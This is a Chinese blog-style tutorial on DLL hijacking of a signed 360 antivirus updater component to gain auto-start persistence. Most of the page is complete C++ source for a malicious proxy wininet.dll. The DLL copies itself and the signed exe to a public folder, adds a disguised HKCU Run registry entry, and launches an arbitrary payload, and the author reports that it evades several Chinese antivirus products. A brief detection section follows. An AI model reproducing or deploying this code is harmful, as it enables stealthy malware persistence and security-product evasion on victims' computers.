利用某组件dll劫持实现自启动
利用360组件dll劫持实现自启动
- 0.存在范围:对于360旧版本存在该利用文件,但签名持续有效,故可当作白文件进行操作。
- 1.工具准备:IDA,VS(2023或其他)
-
2.操作方法:
先定位需要找的路径,依次盲测,具体如下:
我们不妨发现,除了360Safe.exe这个主干程序,还有很多组件类程序,他们大多都有dll调用,我们可以从这里入手,分离dll单独执行exe判断是否存在dll劫持漏洞可能(当前版本为360 v14,当时测试用版本没找到,故只做演示,仅供参考)或者依次导入IDA进行分析.
经过不断尝试,我们找到了一个可能存在dll劫持的exe程序,结果如下:
发现该程序有调用wininet.dll,其中包含:
Address Ordinal Name Library
004171B4 InternetReadFile WININET
004171B8 HttpQueryInfoW WININET
004171BC InternetOpenUrlW WININET
004171C0 InternetOpenW WININET
004171C4 InternetCloseHandle WININET
我们分别查看,看看这些函数是为了做什么的,
我们可以发现一个很有意思的地方,在InternetOpenW 函数中这个好像是用来网络行为的,是需要调用执行的,那么
我们可先对其进行构造,包含这些函数,加载定义 DLL 应用程序的入口点:
extern "C" __declspec(dllexport) void InternetReadFile() { }
extern "C" __declspec(dllexport) void HttpQueryInfoW() { }
extern "C" __declspec(dllexport) void InternetOpenUrlW() { }
extern "C" __declspec(dllexport) void InternetOpenW() {
run();
}
extern "C" __declspec(dllexport) void InternetCloseHandle() {
然后我们分析这个程序行为,发现在描述中写道“360杀毒 升级辅助程序”,那么该程序即可为白名单,任意添加到360自启动目录,我们开始构造payload:
(代码用了AI注释,有违和感自行跳过即可)
#include "pch.h" // 包含预编译头文件,通常用于加快编译速度。
#include <Windows.h> // 包含 Windows API 的核心功能头文件。
void OurMalCode() { // 定义一个名为 OurMalCode 的函数,无参数并返回 void。
WinExec("D:\\1.exe", 0); // 本人注释:执行的程序。
}
void run() { // 定义一个名为 run 的函数,无参数并返回 void。
char szPath[MAX_PATH] = { 0 }; // 定义一个字符数组 szPath,大小为 MAX_PATH,并初始化为 0。
GetModuleFileNameA(NULL, szPath, MAX_PATH); // 获取当前模块的文件名,并存储在 szPath 中。
// 检查 szPath 中是否包含指定的路径,如果不包含则执行以下代码。
if (strstr(szPath, "C:\\Users\\Public\\360safe\\") == NULL) {
CreateDirectoryA("C:\\Users\\Public\\360safe\\", NULL); // 创建指定路径的目录。
CopyFileA(szPath, "C:\\Users\\Public\\360safe\\360sd.exe", FALSE); // 复制当前模块文件到指定目录并重命名。
CopyFileA("wininet.dll", "C:\\Users\\Public\\360safe\\wininet.dll", FALSE); // 复制 wininet.dll 到指定目录。
HKEY hKey; // 声明一个 HKEY 类型的变量 hKey。
// 打开注册表项,获取对 HKEY_CURRENT_USER 的访问权限。
RegOpenKeyExA(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0, KEY_ALL_ACCESS, &hKey);
// 设置注册表项以实现开机自启动,注册一个程序在启动时运行。
RegSetValueExA(hKey, "360安全保镖", 0, REG_SZ, (BYTE*)"C:\\Users\\Public\\360safe\\360sd.exe", 100);
RegCloseKey(hKey); // 关闭注册表项的句柄。
return; // 返回,无需继续执行 run 函数中的剩余代码。
}
OurMalCode(); // 如果路径包含指定目录,则调用 OurMalCode 函数。
return; // 返回,无需继续执行 run 函数。
}
//本人注释:对该程序所调用的函数导出,让其加载定义 DLL 应用程序的入口点。
extern "C" __declspec(dllexport) void InternetReadFile() { } // 导出一个空的函数 InternetReadFile。
extern "C" __declspec(dllexport) void HttpQueryInfoW() { } // 导出一个空的函数 HttpQueryInfoW。
extern "C" __declspec(dllexport) void InternetOpenUrlW() { } // 导出一个空的函数 InternetOpenUrlW。
extern "C" __declspec(dllexport) void InternetOpenW() { // 导出函数 InternetOpenW。
run(); // 在调用该函数时执行 run 函数。
}
extern "C" __declspec(dllexport) void InternetCloseHandle() { } // 导出一个空的函数 InternetCloseHandle。
开始编译,并且拖入该程序路径:
-
3.运行测试:
环境:win10 win11 (or win7未测)
360 v14
火绒 6.0.31
管家 17.1.x
运行效果:
启动路径:C:\Users\Public\360safe
-
4.补录,检查与反制:
直接查看启动项,现在360主程序启动只会有一个启动项(某壁纸等除外)
看到其他字样的360启动项,以及启动目录在C:\Users\Public\360safe的文件,直接进去把dll拖出来:
然后导IDA,如图
定位该程序,然后火绒剑嘿嘿。。。
定位该程序,然后火绒剑嘿嘿。。。
最后附上该程序的签名截图:
0 条评论
可输入 255 字